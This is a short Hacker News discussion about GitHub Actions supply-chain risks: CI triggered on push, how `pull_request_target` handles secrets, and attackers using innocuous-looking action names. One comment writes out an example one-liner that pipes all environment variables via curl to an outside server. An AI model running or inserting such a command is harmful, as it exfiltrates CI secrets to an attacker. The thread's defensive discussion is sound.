Hacker News Reader

It's not simply a matter of review; depending on your setup these bypasses could be run before anyone even has eyes on the changes if your CI is triggered on push or on PR creation.

View on HN

`pull_request_target` (which has access to secrets) runs in the context of the destination branch, so any malicious workflow would need to have already been committed.

GitHub has a page on this:

https://securitylab.github.com/resources/github-actions-prev...

But similarly, couldn't you just write harmful stuff straight into the action itself?

You definitely could, but it is more nuanced than that. You really don't want to be seen doing `env | curl -X POST http://myserver.cn` in a company repository. But using a legitly named action doesn't look too suspicious.

Reply on news.ycombinator.com